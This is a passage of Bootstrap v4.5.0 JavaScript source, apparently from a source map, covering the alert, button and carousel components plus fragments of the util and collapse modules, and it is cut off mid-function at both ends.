{\n throw new Error('Bootstrap\\'s JavaScript requires at least jQuery v1.9.1 but less than v4.0.0')\n }\n }\n}\n\nUtil.jQueryDetection()\nsetTransitionEndSupport()\n\nexport default Util\n","/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.5.0): alert.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nimport $ from 'jquery'\nimport Util from './util'\n\n/**\n * ------------------------------------------------------------------------\n * Constants\n * ------------------------------------------------------------------------\n */\n\nconst NAME = 'alert'\nconst VERSION = '4.5.0'\nconst DATA_KEY = 'bs.alert'\nconst EVENT_KEY = `.${DATA_KEY}`\nconst DATA_API_KEY = '.data-api'\nconst JQUERY_NO_CONFLICT = $.fn[NAME]\n\nconst SELECTOR_DISMISS = '[data-dismiss=\"alert\"]'\n\nconst EVENT_CLOSE = `close${EVENT_KEY}`\nconst EVENT_CLOSED = `closed${EVENT_KEY}`\nconst EVENT_CLICK_DATA_API = `click${EVENT_KEY}${DATA_API_KEY}`\n\nconst CLASS_NAME_ALERT = 'alert'\nconst CLASS_NAME_FADE = 'fade'\nconst CLASS_NAME_SHOW = 'show'\n\n/**\n * ------------------------------------------------------------------------\n * Class Definition\n * ------------------------------------------------------------------------\n */\n\nclass Alert {\n constructor(element) {\n this._element = element\n }\n\n // Getters\n\n static get VERSION() {\n return VERSION\n }\n\n // Public\n\n close(element) {\n let rootElement = this._element\n if (element) {\n rootElement = this._getRootElement(element)\n }\n\n const customEvent = this._triggerCloseEvent(rootElement)\n\n if (customEvent.isDefaultPrevented()) {\n return\n }\n\n this._removeElement(rootElement)\n }\n\n dispose() {\n $.removeData(this._element, DATA_KEY)\n this._element = null\n }\n\n // Private\n\n _getRootElement(element) {\n const selector = Util.getSelectorFromElement(element)\n let parent = false\n\n if (selector) {\n parent = document.querySelector(selector)\n }\n\n if (!parent) {\n parent = $(element).closest(`.${CLASS_NAME_ALERT}`)[0]\n }\n\n return parent\n }\n\n _triggerCloseEvent(element) {\n const closeEvent = $.Event(EVENT_CLOSE)\n\n $(element).trigger(closeEvent)\n return closeEvent\n }\n\n _removeElement(element) {\n $(element).removeClass(CLASS_NAME_SHOW)\n\n if (!$(element).hasClass(CLASS_NAME_FADE)) {\n this._destroyElement(element)\n return\n }\n\n const transitionDuration = Util.getTransitionDurationFromElement(element)\n\n $(element)\n .one(Util.TRANSITION_END, (event) => this._destroyElement(element, event))\n .emulateTransitionEnd(transitionDuration)\n }\n\n _destroyElement(element) {\n $(element)\n .detach()\n .trigger(EVENT_CLOSED)\n .remove()\n }\n\n // Static\n\n static _jQueryInterface(config) {\n return this.each(function () {\n const $element = $(this)\n let data = $element.data(DATA_KEY)\n\n if (!data) {\n data = new Alert(this)\n $element.data(DATA_KEY, data)\n }\n\n if (config === 'close') {\n data[config](this)\n }\n })\n }\n\n static _handleDismiss(alertInstance) {\n return function (event) {\n if (event) {\n event.preventDefault()\n }\n\n alertInstance.close(this)\n }\n }\n}\n\n/**\n * ------------------------------------------------------------------------\n * Data Api implementation\n * ------------------------------------------------------------------------\n */\n\n$(document).on(\n EVENT_CLICK_DATA_API,\n SELECTOR_DISMISS,\n Alert._handleDismiss(new Alert())\n)\n\n/**\n * ------------------------------------------------------------------------\n * jQuery\n * ------------------------------------------------------------------------\n */\n\n$.fn[NAME] = Alert._jQueryInterface\n$.fn[NAME].Constructor = Alert\n$.fn[NAME].noConflict = () => {\n $.fn[NAME] = JQUERY_NO_CONFLICT\n return Alert._jQueryInterface\n}\n\nexport default Alert\n","/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.5.0): button.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nimport $ from 'jquery'\n\n/**\n * ------------------------------------------------------------------------\n * Constants\n * ------------------------------------------------------------------------\n */\n\nconst NAME = 'button'\nconst VERSION = '4.5.0'\nconst DATA_KEY = 'bs.button'\nconst EVENT_KEY = `.${DATA_KEY}`\nconst DATA_API_KEY = '.data-api'\nconst JQUERY_NO_CONFLICT = $.fn[NAME]\n\nconst CLASS_NAME_ACTIVE = 'active'\nconst CLASS_NAME_BUTTON = 'btn'\nconst CLASS_NAME_FOCUS = 'focus'\n\nconst SELECTOR_DATA_TOGGLE_CARROT = '[data-toggle^=\"button\"]'\nconst SELECTOR_DATA_TOGGLES = '[data-toggle=\"buttons\"]'\nconst SELECTOR_DATA_TOGGLE = '[data-toggle=\"button\"]'\nconst SELECTOR_DATA_TOGGLES_BUTTONS = '[data-toggle=\"buttons\"] .btn'\nconst SELECTOR_INPUT = 'input:not([type=\"hidden\"])'\nconst SELECTOR_ACTIVE = '.active'\nconst SELECTOR_BUTTON = '.btn'\n\nconst EVENT_CLICK_DATA_API = `click${EVENT_KEY}${DATA_API_KEY}`\nconst EVENT_FOCUS_BLUR_DATA_API = `focus${EVENT_KEY}${DATA_API_KEY} ` +\n `blur${EVENT_KEY}${DATA_API_KEY}`\nconst EVENT_LOAD_DATA_API = `load${EVENT_KEY}${DATA_API_KEY}`\n\n/**\n * ------------------------------------------------------------------------\n * Class Definition\n * ------------------------------------------------------------------------\n */\n\nclass Button {\n constructor(element) {\n this._element = element\n }\n\n // Getters\n\n static get VERSION() {\n return VERSION\n }\n\n // Public\n\n toggle() {\n let triggerChangeEvent = true\n let addAriaPressed = true\n const rootElement = $(this._element).closest(\n SELECTOR_DATA_TOGGLES\n )[0]\n\n if (rootElement) {\n const input = this._element.querySelector(SELECTOR_INPUT)\n\n if (input) {\n if (input.type === 'radio') {\n if (input.checked &&\n this._element.classList.contains(CLASS_NAME_ACTIVE)) {\n triggerChangeEvent = false\n } else {\n const activeElement = rootElement.querySelector(SELECTOR_ACTIVE)\n\n if (activeElement) {\n $(activeElement).removeClass(CLASS_NAME_ACTIVE)\n }\n }\n }\n\n if (triggerChangeEvent) {\n // if it's not a radio button or checkbox don't add a pointless/invalid checked property to the input\n if (input.type === 'checkbox' || input.type === 'radio') {\n input.checked = !this._element.classList.contains(CLASS_NAME_ACTIVE)\n }\n $(input).trigger('change')\n }\n\n input.focus()\n addAriaPressed = false\n }\n }\n\n if (!(this._element.hasAttribute('disabled') || this._element.classList.contains('disabled'))) {\n if (addAriaPressed) {\n this._element.setAttribute('aria-pressed',\n !this._element.classList.contains(CLASS_NAME_ACTIVE))\n }\n\n if (triggerChangeEvent) {\n $(this._element).toggleClass(CLASS_NAME_ACTIVE)\n }\n }\n }\n\n dispose() {\n $.removeData(this._element, DATA_KEY)\n this._element = null\n }\n\n // Static\n\n static _jQueryInterface(config) {\n return this.each(function () {\n let data = $(this).data(DATA_KEY)\n\n if (!data) {\n data = new Button(this)\n $(this).data(DATA_KEY, data)\n }\n\n if (config === 'toggle') {\n data[config]()\n }\n })\n }\n}\n\n/**\n * ------------------------------------------------------------------------\n * Data Api implementation\n * ------------------------------------------------------------------------\n */\n\n$(document)\n .on(EVENT_CLICK_DATA_API, SELECTOR_DATA_TOGGLE_CARROT, (event) => {\n let button = event.target\n const initialButton = button\n\n if (!$(button).hasClass(CLASS_NAME_BUTTON)) {\n button = $(button).closest(SELECTOR_BUTTON)[0]\n }\n\n if (!button || button.hasAttribute('disabled') || button.classList.contains('disabled')) {\n event.preventDefault() // work around Firefox bug #1540995\n } else {\n const inputBtn = button.querySelector(SELECTOR_INPUT)\n\n if (inputBtn && (inputBtn.hasAttribute('disabled') || inputBtn.classList.contains('disabled'))) {\n event.preventDefault() // work around Firefox bug #1540995\n return\n }\n\n if (initialButton.tagName === 'LABEL' && inputBtn && inputBtn.type === 'checkbox') {\n event.preventDefault() // work around event sent to label and input\n }\n Button._jQueryInterface.call($(button), 'toggle')\n }\n })\n .on(EVENT_FOCUS_BLUR_DATA_API, SELECTOR_DATA_TOGGLE_CARROT, (event) => {\n const button = $(event.target).closest(SELECTOR_BUTTON)[0]\n $(button).toggleClass(CLASS_NAME_FOCUS, /^focus(in)?$/.test(event.type))\n })\n\n$(window).on(EVENT_LOAD_DATA_API, () => {\n // ensure correct active class is set to match the controls' actual values/states\n\n // find all checkboxes/readio buttons inside data-toggle groups\n let buttons = [].slice.call(document.querySelectorAll(SELECTOR_DATA_TOGGLES_BUTTONS))\n for (let i = 0, len = buttons.length; i < len; i++) {\n const button = buttons[i]\n const input = button.querySelector(SELECTOR_INPUT)\n if (input.checked || input.hasAttribute('checked')) {\n button.classList.add(CLASS_NAME_ACTIVE)\n } else {\n button.classList.remove(CLASS_NAME_ACTIVE)\n }\n }\n\n // find all button toggles\n buttons = [].slice.call(document.querySelectorAll(SELECTOR_DATA_TOGGLE))\n for (let i = 0, len = buttons.length; i < len; i++) {\n const button = buttons[i]\n if (button.getAttribute('aria-pressed') === 'true') {\n button.classList.add(CLASS_NAME_ACTIVE)\n } else {\n button.classList.remove(CLASS_NAME_ACTIVE)\n }\n }\n})\n\n/**\n * ------------------------------------------------------------------------\n * jQuery\n * ------------------------------------------------------------------------\n */\n\n$.fn[NAME] = Button._jQueryInterface\n$.fn[NAME].Constructor = Button\n$.fn[NAME].noConflict = () => {\n $.fn[NAME] = JQUERY_NO_CONFLICT\n return Button._jQueryInterface\n}\n\nexport default Button\n","/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.5.0): carousel.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nimport $ from 'jquery'\nimport Util from './util'\n\n/**\n * ------------------------------------------------------------------------\n * Constants\n * ------------------------------------------------------------------------\n */\n\nconst NAME = 'carousel'\nconst VERSION = '4.5.0'\nconst DATA_KEY = 'bs.carousel'\nconst EVENT_KEY = `.${DATA_KEY}`\nconst DATA_API_KEY = '.data-api'\nconst JQUERY_NO_CONFLICT = $.fn[NAME]\nconst ARROW_LEFT_KEYCODE = 37 // KeyboardEvent.which value for left arrow key\nconst ARROW_RIGHT_KEYCODE = 39 // KeyboardEvent.which value for right arrow key\nconst TOUCHEVENT_COMPAT_WAIT = 500 // Time for mouse compat events to fire after touch\nconst SWIPE_THRESHOLD = 40\n\nconst Default = {\n interval : 5000,\n keyboard : true,\n slide : false,\n pause : 'hover',\n wrap : true,\n touch : true\n}\n\nconst DefaultType = {\n interval : '(number|boolean)',\n keyboard : 'boolean',\n slide : '(boolean|string)',\n pause : '(string|boolean)',\n wrap : 'boolean',\n touch : 'boolean'\n}\n\nconst DIRECTION_NEXT = 'next'\nconst DIRECTION_PREV = 'prev'\nconst DIRECTION_LEFT = 'left'\nconst DIRECTION_RIGHT = 'right'\n\nconst EVENT_SLIDE = `slide${EVENT_KEY}`\nconst EVENT_SLID = `slid${EVENT_KEY}`\nconst EVENT_KEYDOWN = `keydown${EVENT_KEY}`\nconst EVENT_MOUSEENTER = `mouseenter${EVENT_KEY}`\nconst EVENT_MOUSELEAVE = `mouseleave${EVENT_KEY}`\nconst EVENT_TOUCHSTART = `touchstart${EVENT_KEY}`\nconst EVENT_TOUCHMOVE = `touchmove${EVENT_KEY}`\nconst EVENT_TOUCHEND = `touchend${EVENT_KEY}`\nconst EVENT_POINTERDOWN = `pointerdown${EVENT_KEY}`\nconst EVENT_POINTERUP = `pointerup${EVENT_KEY}`\nconst EVENT_DRAG_START = `dragstart${EVENT_KEY}`\nconst EVENT_LOAD_DATA_API = `load${EVENT_KEY}${DATA_API_KEY}`\nconst EVENT_CLICK_DATA_API = `click${EVENT_KEY}${DATA_API_KEY}`\n\nconst CLASS_NAME_CAROUSEL = 'carousel'\nconst CLASS_NAME_ACTIVE = 'active'\nconst CLASS_NAME_SLIDE = 'slide'\nconst CLASS_NAME_RIGHT = 'carousel-item-right'\nconst CLASS_NAME_LEFT = 'carousel-item-left'\nconst CLASS_NAME_NEXT = 'carousel-item-next'\nconst CLASS_NAME_PREV = 'carousel-item-prev'\nconst CLASS_NAME_POINTER_EVENT = 'pointer-event'\n\nconst SELECTOR_ACTIVE = '.active'\nconst SELECTOR_ACTIVE_ITEM = '.active.carousel-item'\nconst SELECTOR_ITEM = '.carousel-item'\nconst SELECTOR_ITEM_IMG = '.carousel-item img'\nconst SELECTOR_NEXT_PREV = '.carousel-item-next, .carousel-item-prev'\nconst SELECTOR_INDICATORS = '.carousel-indicators'\nconst SELECTOR_DATA_SLIDE = '[data-slide], [data-slide-to]'\nconst SELECTOR_DATA_RIDE = '[data-ride=\"carousel\"]'\n\nconst PointerType = {\n TOUCH : 'touch',\n PEN : 'pen'\n}\n\n/**\n * ------------------------------------------------------------------------\n * Class Definition\n * ------------------------------------------------------------------------\n */\nclass Carousel {\n constructor(element, config) {\n this._items = null\n this._interval = null\n this._activeElement = null\n this._isPaused = false\n this._isSliding = false\n this.touchTimeout = null\n this.touchStartX = 0\n this.touchDeltaX = 0\n\n this._config = this._getConfig(config)\n this._element = element\n this._indicatorsElement = this._element.querySelector(SELECTOR_INDICATORS)\n this._touchSupported = 'ontouchstart' in document.documentElement || navigator.maxTouchPoints > 0\n this._pointerEvent = Boolean(window.PointerEvent || window.MSPointerEvent)\n\n this._addEventListeners()\n }\n\n // Getters\n\n static get VERSION() {\n return VERSION\n }\n\n static get Default() {\n return Default\n }\n\n // Public\n\n next() {\n if (!this._isSliding) {\n this._slide(DIRECTION_NEXT)\n }\n }\n\n nextWhenVisible() {\n // Don't call next when the page isn't visible\n // or the carousel or its parent isn't visible\n if (!document.hidden &&\n ($(this._element).is(':visible') && $(this._element).css('visibility') !== 'hidden')) {\n this.next()\n }\n }\n\n prev() {\n if (!this._isSliding) {\n this._slide(DIRECTION_PREV)\n }\n }\n\n pause(event) {\n if (!event) {\n this._isPaused = true\n }\n\n if (this._element.querySelector(SELECTOR_NEXT_PREV)) {\n Util.triggerTransitionEnd(this._element)\n this.cycle(true)\n }\n\n clearInterval(this._interval)\n this._interval = null\n }\n\n cycle(event) {\n if (!event) {\n this._isPaused = false\n }\n\n if (this._interval) {\n clearInterval(this._interval)\n this._interval = null\n }\n\n if (this._config.interval && !this._isPaused) {\n this._interval = setInterval(\n (document.visibilityState ? this.nextWhenVisible : this.next).bind(this),\n this._config.interval\n )\n }\n }\n\n to(index) {\n this._activeElement = this._element.querySelector(SELECTOR_ACTIVE_ITEM)\n\n const activeIndex = this._getItemIndex(this._activeElement)\n\n if (index > this._items.length - 1 || index < 0) {\n return\n }\n\n if (this._isSliding) {\n $(this._element).one(EVENT_SLID, () => this.to(index))\n return\n }\n\n if (activeIndex === index) {\n this.pause()\n this.cycle()\n return\n }\n\n const direction = index > activeIndex\n ? DIRECTION_NEXT\n : DIRECTION_PREV\n\n this._slide(direction, this._items[index])\n }\n\n dispose() {\n $(this._element).off(EVENT_KEY)\n $.removeData(this._element, DATA_KEY)\n\n this._items = null\n this._config = null\n this._element = null\n this._interval = null\n this._isPaused = null\n this._isSliding = null\n this._activeElement = null\n this._indicatorsElement = null\n }\n\n // Private\n\n _getConfig(config) {\n config = {\n ...Default,\n ...config\n }\n Util.typeCheckConfig(NAME, config, DefaultType)\n return config\n }\n\n _handleSwipe() {\n const absDeltax = Math.abs(this.touchDeltaX)\n\n if (absDeltax <= SWIPE_THRESHOLD) {\n return\n }\n\n const direction = absDeltax / this.touchDeltaX\n\n this.touchDeltaX = 0\n\n // swipe left\n if (direction > 0) {\n this.prev()\n }\n\n // swipe right\n if (direction < 0) {\n this.next()\n }\n }\n\n _addEventListeners() {\n if (this._config.keyboard) {\n $(this._element).on(EVENT_KEYDOWN, (event) => this._keydown(event))\n }\n\n if (this._config.pause === 'hover') {\n $(this._element)\n .on(EVENT_MOUSEENTER, (event) => this.pause(event))\n .on(EVENT_MOUSELEAVE, (event) => this.cycle(event))\n }\n\n if (this._config.touch) {\n this._addTouchEventListeners()\n }\n }\n\n _addTouchEventListeners() {\n if (!this._touchSupported) {\n return\n }\n\n const start = (event) => {\n if (this._pointerEvent && PointerType[event.originalEvent.pointerType.toUpperCase()]) {\n this.touchStartX = event.originalEvent.clientX\n } else if (!this._pointerEvent) {\n this.touchStartX = event.originalEvent.touches[0].clientX\n }\n }\n\n const move = (event) => {\n // ensure swiping with one touch and not pinching\n if (event.originalEvent.touches && event.originalEvent.touches.length > 1) {\n this.touchDeltaX = 0\n } else {\n this.touchDeltaX = event.originalEvent.touches[0].clientX - this.touchStartX\n }\n }\n\n const end = (event) => {\n if (this._pointerEvent && PointerType[event.originalEvent.pointerType.toUpperCase()]) {\n this.touchDeltaX = event.originalEvent.clientX - this.touchStartX\n }\n\n this._handleSwipe()\n if (this._config.pause === 'hover') {\n // If it's a touch-enabled device, mouseenter/leave are fired as\n // part of the mouse compatibility events on first tap - the carousel\n // would stop cycling until user tapped out of it;\n // here, we listen for touchend, explicitly pause the carousel\n // (as if it's the second time we tap on it, mouseenter compat event\n // is NOT fired) and after a timeout (to allow for mouse compatibility\n // events to fire) we explicitly restart cycling\n\n this.pause()\n if (this.touchTimeout) {\n clearTimeout(this.touchTimeout)\n }\n this.touchTimeout = setTimeout((event) => this.cycle(event), TOUCHEVENT_COMPAT_WAIT + this._config.interval)\n }\n }\n\n $(this._element.querySelectorAll(SELECTOR_ITEM_IMG))\n .on(EVENT_DRAG_START, (e) => e.preventDefault())\n\n if (this._pointerEvent) {\n $(this._element).on(EVENT_POINTERDOWN, (event) => start(event))\n $(this._element).on(EVENT_POINTERUP, (event) => end(event))\n\n this._element.classList.add(CLASS_NAME_POINTER_EVENT)\n } else {\n $(this._element).on(EVENT_TOUCHSTART, (event) => start(event))\n $(this._element).on(EVENT_TOUCHMOVE, (event) => move(event))\n $(this._element).on(EVENT_TOUCHEND, (event) => end(event))\n }\n }\n\n _keydown(event) {\n if (/input|textarea/i.test(event.target.tagName)) {\n return\n }\n\n switch (event.which) {\n case ARROW_LEFT_KEYCODE:\n event.preventDefault()\n this.prev()\n break\n case ARROW_RIGHT_KEYCODE:\n event.preventDefault()\n this.next()\n break\n default:\n }\n }\n\n _getItemIndex(element) {\n this._items = element && element.parentNode\n ? [].slice.call(element.parentNode.querySelectorAll(SELECTOR_ITEM))\n : []\n return this._items.indexOf(element)\n }\n\n _getItemByDirection(direction, activeElement) {\n const isNextDirection = direction === DIRECTION_NEXT\n const isPrevDirection = direction === DIRECTION_PREV\n const activeIndex = this._getItemIndex(activeElement)\n const lastItemIndex = this._items.length - 1\n const isGoingToWrap = isPrevDirection && activeIndex === 0 ||\n isNextDirection && activeIndex === lastItemIndex\n\n if (isGoingToWrap && !this._config.wrap) {\n return activeElement\n }\n\n const delta = direction === DIRECTION_PREV ? -1 : 1\n const itemIndex = (activeIndex + delta) % this._items.length\n\n return itemIndex === -1\n ? this._items[this._items.length - 1] : this._items[itemIndex]\n }\n\n _triggerSlideEvent(relatedTarget, eventDirectionName) {\n const targetIndex = this._getItemIndex(relatedTarget)\n const fromIndex = this._getItemIndex(this._element.querySelector(SELECTOR_ACTIVE_ITEM))\n const slideEvent = $.Event(EVENT_SLIDE, {\n relatedTarget,\n direction: eventDirectionName,\n from: fromIndex,\n to: targetIndex\n })\n\n $(this._element).trigger(slideEvent)\n\n return slideEvent\n }\n\n _setActiveIndicatorElement(element) {\n if (this._indicatorsElement) {\n const indicators = [].slice.call(this._indicatorsElement.querySelectorAll(SELECTOR_ACTIVE))\n $(indicators).removeClass(CLASS_NAME_ACTIVE)\n\n const nextIndicator = this._indicatorsElement.children[\n this._getItemIndex(element)\n ]\n\n if (nextIndicator) {\n $(nextIndicator).addClass(CLASS_NAME_ACTIVE)\n }\n }\n }\n\n _slide(direction, element) {\n const activeElement = this._element.querySelector(SELECTOR_ACTIVE_ITEM)\n const activeElementIndex = this._getItemIndex(activeElement)\n const nextElement = element || activeElement &&\n this._getItemByDirection(direction, activeElement)\n const nextElementIndex = this._getItemIndex(nextElement)\n const isCycling = Boolean(this._interval)\n\n let directionalClassName\n let orderClassName\n let eventDirectionName\n\n if (direction === DIRECTION_NEXT) {\n directionalClassName = CLASS_NAME_LEFT\n orderClassName = CLASS_NAME_NEXT\n eventDirectionName = DIRECTION_LEFT\n } else {\n directionalClassName = CLASS_NAME_RIGHT\n orderClassName = CLASS_NAME_PREV\n eventDirectionName = DIRECTION_RIGHT\n }\n\n if (nextElement && $(nextElement).hasClass(CLASS_NAME_ACTIVE)) {\n this._isSliding = false\n return\n }\n\n const slideEvent = this._triggerSlideEvent(nextElement, eventDirectionName)\n if (slideEvent.isDefaultPrevented()) {\n return\n }\n\n if (!activeElement || !nextElement) {\n // Some weirdness is happening, so we bail\n return\n }\n\n this._isSliding = true\n\n if (isCycling) {\n this.pause()\n }\n\n this._setActiveIndicatorElement(nextElement)\n\n const slidEvent = $.Event(EVENT_SLID, {\n relatedTarget: nextElement,\n direction: eventDirectionName,\n from: activeElementIndex,\n to: nextElementIndex\n })\n\n if ($(this._element).hasClass(CLASS_NAME_SLIDE)) {\n $(nextElement).addClass(orderClassName)\n\n Util.reflow(nextElement)\n\n $(activeElement).addClass(directionalClassName)\n $(nextElement).addClass(directionalClassName)\n\n const nextElementInterval = parseInt(nextElement.getAttribute('data-interval'), 10)\n if (nextElementInterval) {\n this._config.defaultInterval = this._config.defaultInterval || this._config.interval\n this._config.interval = nextElementInterval\n } else {\n this._config.interval = this._config.defaultInterval || this._config.interval\n }\n\n const transitionDuration = Util.getTransitionDurationFromElement(activeElement)\n\n $(activeElement)\n .one(Util.TRANSITION_END, () => {\n $(nextElement)\n .removeClass(`${directionalClassName} ${orderClassName}`)\n .addClass(CLASS_NAME_ACTIVE)\n\n $(activeElement).removeClass(`${CLASS_NAME_ACTIVE} ${orderClassName} ${directionalClassName}`)\n\n this._isSliding = false\n\n setTimeout(() => $(this._element).trigger(slidEvent), 0)\n })\n .emulateTransitionEnd(transitionDuration)\n } else {\n $(activeElement).removeClass(CLASS_NAME_ACTIVE)\n $(nextElement).addClass(CLASS_NAME_ACTIVE)\n\n this._isSliding = false\n $(this._element).trigger(slidEvent)\n }\n\n if (isCycling) {\n this.cycle()\n }\n }\n\n // Static\n\n static _jQueryInterface(config) {\n return this.each(function () {\n let data = $(this).data(DATA_KEY)\n let _config = {\n ...Default,\n ...$(this).data()\n }\n\n if (typeof config === 'object') {\n _config = {\n ..._config,\n ...config\n }\n }\n\n const action = typeof config === 'string' ? config : _config.slide\n\n if (!data) {\n data = new Carousel(this, _config)\n $(this).data(DATA_KEY, data)\n }\n\n if (typeof config === 'number') {\n data.to(config)\n } else if (typeof action === 'string') {\n if (typeof data[action] === 'undefined') {\n throw new TypeError(`No method named \"${action}\"`)\n }\n data[action]()\n } else if (_config.interval && _config.ride) {\n data.pause()\n data.cycle()\n }\n })\n }\n\n static _dataApiClickHandler(event) {\n const selector = Util.getSelectorFromElement(this)\n\n if (!selector) {\n return\n }\n\n const target = $(selector)[0]\n\n if (!target || !$(target).hasClass(CLASS_NAME_CAROUSEL)) {\n return\n }\n\n const config = {\n ...$(target).data(),\n ...$(this).data()\n }\n const slideIndex = this.getAttribute('data-slide-to')\n\n if (slideIndex) {\n config.interval = false\n }\n\n Carousel._jQueryInterface.call($(target), config)\n\n if (slideIndex) {\n $(target).data(DATA_KEY).to(slideIndex)\n }\n\n event.preventDefault()\n }\n}\n\n/**\n * ------------------------------------------------------------------------\n * Data Api implementation\n * ------------------------------------------------------------------------\n */\n\n$(document).on(EVENT_CLICK_DATA_API, SELECTOR_DATA_SLIDE, Carousel._dataApiClickHandler)\n\n$(window).on(EVENT_LOAD_DATA_API, () => {\n const carousels = [].slice.call(document.querySelectorAll(SELECTOR_DATA_RIDE))\n for (let i = 0, len = carousels.length; i < len; i++) {\n const $carousel = $(carousels[i])\n Carousel._jQueryInterface.call($carousel, $carousel.data())\n }\n})\n\n/**\n * ------------------------------------------------------------------------\n * jQuery\n * ------------------------------------------------------------------------\n */\n\n$.fn[NAME] = Carousel._jQueryInterface\n$.fn[NAME].Constructor = Carousel\n$.fn[NAME].noConflict = () => {\n $.fn[NAME] = JQUERY_NO_CONFLICT\n return Carousel._jQueryInterface\n}\n\nexport default Carousel\n","/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.5.0): collapse.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nimport $ from 'jquery'\nimport Util from './util'\n\n/**\n * ------------------------------------------------------------------------\n * Constants\n * ------------------------------------------------------------------------\n */\n\nconst NAME = 'collapse'\nconst VERSION = '4.5.0'\nconst DATA_KEY = 'bs.collapse'\nconst EVENT_KEY = `.${DATA_KEY}`\nconst DATA_API_KEY = '.data-api'\nconst JQUERY_NO_CONFLICT = $.fn[NAME]\n\nconst Default = {\n toggle : true,\n parent : ''\n}\n\nconst DefaultType = {\n toggle : 'boolean',\n parent : '(string|element)'\n}\n\nconst EVENT_SHOW = `show${EVENT_KEY}`\nconst EVENT_SHOWN = `shown${EVENT_KEY}`\nconst EVENT_HIDE = `hide${EVENT_KEY}`\nconst EVENT_HIDDEN = `hidden${EVENT_KEY}`\nconst EVENT_CLICK_DATA_API = `click${EVENT_KEY}${DATA_API_KEY}`\n\nconst CLASS_NAME_SHOW = 'show'\nconst CLASS_NAME_COLLAPSE = 'collapse'\nconst CLASS_NAME_COLLAPSING = 'collapsing'\nconst CLASS_NAME_COLLAPSED = 'collapsed'\n\nconst DIMENSION_WIDTH = 'width'\nconst DIMENSION_HEIGHT = 'height'\n\nconst SELECTOR_ACTIVES = '.show, .collapsing'\nconst SELECTOR_DATA_TOGGLE = '[data-toggle=\"collapse\"]'\n\n/**\n * ------------------------------------------------------------------------\n * Class Definition\n * ------------------------------------------------------------------------\n */\n\nclass Collapse {\n constructor(element, config) {\n this._isTransitioning = false\n this._element = element\n this._config = this._getConfig(config)\n this._triggerArray = [].slice.call(document.querySelectorAll(\n `[data-toggle=\"collapse\"][href=\"#${element.id}\"],` +\n `[data-toggle=\"collapse\"][data-target=\"#${element.id}\"]`\n ))\n\n const toggleList = [].slice.call(document.querySelectorAll(SELECTOR_DATA_TOGGLE))\n for (let i = 0, len = toggleList.length; i < len; i++) {\n const elem = toggleList[i]\n const selector = Util.getSelectorFromElement(elem)\n const filterElement = [].slice.call(document.querySelectorAll(selector))\n .filter((foundElem) => foundElem === element)\n\n if (selector !== null && filterElement.length > 0) {\n this._selector = selector\n this._triggerArray.push(elem)\n }\n }\n\n this._parent = this._config.parent ? this._getParent() : null\n\n if (!this._config.parent) {\n this._addAriaAndCollapsedClass(this._element, this._triggerArray)\n }\n\n if (this._config.toggle) {\n this.toggle()\n }\n }\n\n // Getters\n\n static get VERSION() {\n return VERSION\n }\n\n static get Default() {\n return Default\n }\n\n // Public\n\n toggle() {\n if ($(this._element).hasClass(CLASS_NAME_SHOW)) {\n this.hide()\n } else {\n this.show()\n }\n }\n\n show() {\n if (this._isTransitioning ||\n $(this._element).hasClass(CLASS_NAME_SHOW)) {\n return\n }\n\n let actives\n let activesData\n\n if (this._parent) {\n actives = [].slice.call(this._parent.querySelectorAll(SELECTOR_ACTIVES))\n .filter((elem) => {\n if (typeof this._config.parent === 'string') {\n return elem.getAttribute('data-parent') === this._config.parent\n }\n\n return elem.classList.contains(CLASS_NAME_COLLAPSE)\n })\n\n if (actives.length === 0) {\n actives = null\n }\n }\n\n if (actives) {\n activesData = $(actives).not(this._selector).data(DATA_KEY)\n if (activesData && activesData._isTransitioning) {\n return\n }\n }\n\n const startEvent = $.Event(EVENT_SHOW)\n $(this._element).trigger(startEvent)\n if (startEvent.isDefaultPrevented()) {\n return\n }\n\n if (actives) {\n Collapse._jQueryInterface.call($(actives).not(this._selector), 'hide')\n if (!activesData) {\n $(actives).data(DATA_KEY, null)\n }\n }\n\n const dimension = this._getDimension()\n\n $(this._element)\n .removeClass(CLASS_NAME_COLLAPSE)\n .addClass(CLASS_NAME_COLLAPSING)\n\n this._element.style[dimension] = 0\n\n if (this._triggerArray.length) {\n $(this._triggerArray)\n .removeClass(CLASS_NAME_COLLAPSED)\n .attr('aria-expanded', true)\n }\n\n this.setTransitioning(true)\n\n const complete = () => {\n $(this._element)\n .removeClass(CLASS_NAME_COLLAPSING)\n .addClass(`${CLASS_NAME_COLLAPSE} ${CLASS_NAME_SHOW}`)\n\n this._element.style[dimension] = ''\n\n this.setTransitioning(false)\n\n $(this._element).trigger(EVENT_SHOWN)\n }\n\n const capitalizedDimension = dimension[0].toUpperCase() + dimension.slice(1)\n const scrollSize = `scroll${capitalizedDimension}`\n const transitionDuration = Util.getTransitionDurationFromElement(this._element)\n\n $(this._element)\n .one(Util.TRANSITION_END, complete)\n .emulateTransitionEnd(transitionDuration)\n\n this._element.style[dimension] = `${this._element[scrollSize]}px`\n }\n\n hide() {\n if (this._isTransitioning ||\n !$(this._element).hasClass(CLASS_NAME_SHOW)) {\n return\n }\n\n const startEvent = $.Event(EVENT_HIDE)\n $(this._element).trigger(startEvent)\n if (startEvent.isDefaultPrevented()) {\n return\n }\n\n const dimension = this._getDimension()\n\n this._element.style[dimension] = `${this._element.getBoundingClientRect()[dimension]}px`\n\n Util.reflow(this._element)\n\n $(this._element)\n .addClass(CLASS_NAME_COLLAPSING)\n .removeClass(`${CLASS_NAME_COLLAPSE} ${CLASS_NAME_SHOW}`)\n\n const triggerArrayLength = this._triggerArray.length\n if (triggerArrayLength > 0) {\n for (let i = 0; i < triggerArrayLength; i++) {\n const trigger = this._triggerArray[i]\n const selector = Util.getSelectorFromElement(trigger)\n\n if (selector !== null) {\n const $elem = $([].slice.call(document.querySelectorAll(selector)))\n if (!$elem.hasClass(CLASS_NAME_SHOW)) {\n $(trigger).addClass(CLASS_NAME_COLLAPSED)\n .attr('aria-expanded', false)\n }\n }\n }\n }\n\n this.setTransitioning(true)\n\n const complete = () => {\n 